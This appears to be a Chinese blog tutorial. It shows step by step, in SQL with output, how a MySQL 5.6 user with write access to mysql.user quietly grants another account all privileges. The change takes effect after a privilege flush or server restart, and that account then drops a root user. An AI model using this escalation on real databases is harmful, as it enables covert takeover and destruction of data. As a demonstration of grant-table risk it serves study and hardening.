如何悄悄地提升MySQL用户权限

温馨提示：

一次成功的非法提权，需要的必备条件是：
1、对mysql权限表的查、改权限；

2、一次不经意的数据库服务器重启；

此次测试版本：5.6.25

准备邪恶用户：

　　grant update on mysql.user to heike@'localhost' identified by 'heike';

　　用heike@localhost登录数据库；

　　mysql> select * from user;

　　ERROR 1142 (42000): SELECT command denied to user 'heike'@'localhost' for table 'user'

　　mysql> update mysql.user set user='test003' where user='test03';

　　ERROR 1143 (42000): SELECT command denied to user 'heike'@'localhost' for column 'user' in table 'user'

　　好吧，失败，在给heike@localhost关于user表的select权限；

　　mysql> grant select on mysql.user to heike@'localhost' identified by 'heike';

　　Query OK, 0 rows affected (0.00 sec)

　　现在heike@localhost可以正常地访问mysql.user表了。

准备测试用户：

mysql>  show grants for test02@'localhost';

+---------------------------------------------------------------------------------------------------------------+

| Grants for test02@localhost                                                                                   |

+---------------------------------------------------------------------------------------------------------------+

| GRANT USAGE ON *.* TO 'test02'@'localhost' IDENTIFIED BY PASSWORD '*1556A6F65259CE3FBEA8489096F7797B4E0D5BEC' |

| GRANT SELECT ON `db_test`.`t1` TO 'test02'@'localhost'                                                        |

+---------------------------------------------------------------------------------------------------------------+

2 rows in set (0.00 sec)

test02@'localhost'只有查询db_test库t1表的权限

现在开始用heike@localhost给test02@'localhost'提权。

就给test02@'localhost'一个超大的权限吧。使用heike@localhost执行：

update mysql.user set  Select_priv='Y',

Insert_priv='Y',

Update_priv='Y',

Delete_priv='Y',

Create_priv='Y',

Drop_priv='Y',

Reload_priv='Y',

Shutdown_priv='Y',

Process_priv='Y',

File_priv='Y',

Grant_priv='Y',

References_priv='Y',

Index_priv='Y',

Alter_priv='Y',

Show_db_priv='Y',

Super_priv='Y',

Create_tmp_table_priv='Y',

Lock_tables_priv='Y',

Execute_priv='Y',

Repl_slave_priv='Y',

Repl_client_priv='Y',

Create_view_priv='Y',

Show_view_priv='Y',

Create_routine_priv='Y',

Alter_routine_priv='Y',

Create_user_priv='Y',

Event_priv='Y',

Trigger_priv='Y',

Create_tablespace_priv='Y'

where user='test02' and host='localhost';

Query OK, 1 row affected (0.04 sec)

Rows matched: 1  Changed: 1  Warnings: 0

但是再查看test02@localhost的权限

+----------------------------------------------------------------------------+

| Grants for test02@localhost                                                |

+----------------------------------------------------------------------------+

| GRANT USAGE ON *.* TO 'test02'@'localhost' IDENTIFIED BY PASSWORD <secret> |

| GRANT SELECT ON `db_test`.`t1` TO 'test02'@'localhost'                     |

+----------------------------------------------------------------------------+

2 rows in set (0.00 sec)

好吧，权限没变。但是不要灰心

让我们静静地等在在某一天，有flush privileges 权限的用户执行下：

mysql>flush privileges;

这时再看看test02@localhost的权限

mysql> show grants for test02@localhost;

+-------------------------------------------------------------------------------------------------------+

| Grants for test02@localhost                                                                           |

+-------------------------------------------------------------------------------------------------------+

| GRANT ALL PRIVILEGES ON *.* TO 'test02'@'localhost' IDENTIFIED BY PASSWORD <secret> WITH GRANT OPTION |

| GRANT SELECT ON `db_test`.`t1` TO 'test02'@'localhost'                                                |

+-------------------------------------------------------------------------------------------------------+

2 rows in set (0.00 sec)

这是你是不是觉得test02@localhost已经成功逆袭为高富帅了？

既然你这么以为，就让他把`db_test`.`t1`删掉吧

mysql> drop table db_test.t1;

ERROR 1142 (42000): DROP command denied to user 'test02'@'localhost' for table 't1'

What！居然不能删除，还提示权限不足。这一定是误会，让我再尝试一下：

mysql> select user,host,password from mysql.user;

ERROR 1142 (42000): SELECT command denied to user 'test02'@'localhost' for table 'user'

what！连查询都不行，说好的ALL PRIVILEGES呢！

让我再尝试一下，新建一张普通表t2看test02@localhost能访问不。

mysql> select * from db_test.t2;

ERROR 1142 (42000): SELECT command denied to user 'test02'@'localhost' for table 't2'

好吧，至此'test02'@'localhost'的权限没有丝毫改变

继而重启服务器

>service mysqld restart

再试试：

mysql> drop user root@'::1';

Query OK, 0 rows affected (0.08 sec)

mysql> select user();

+------------------+

| user()           |

+------------------+

| test02@localhost |

+------------------+

1 row in set (0.00 sec)

哈哈！看看。此时的test02@localhost已经将root用户干掉了！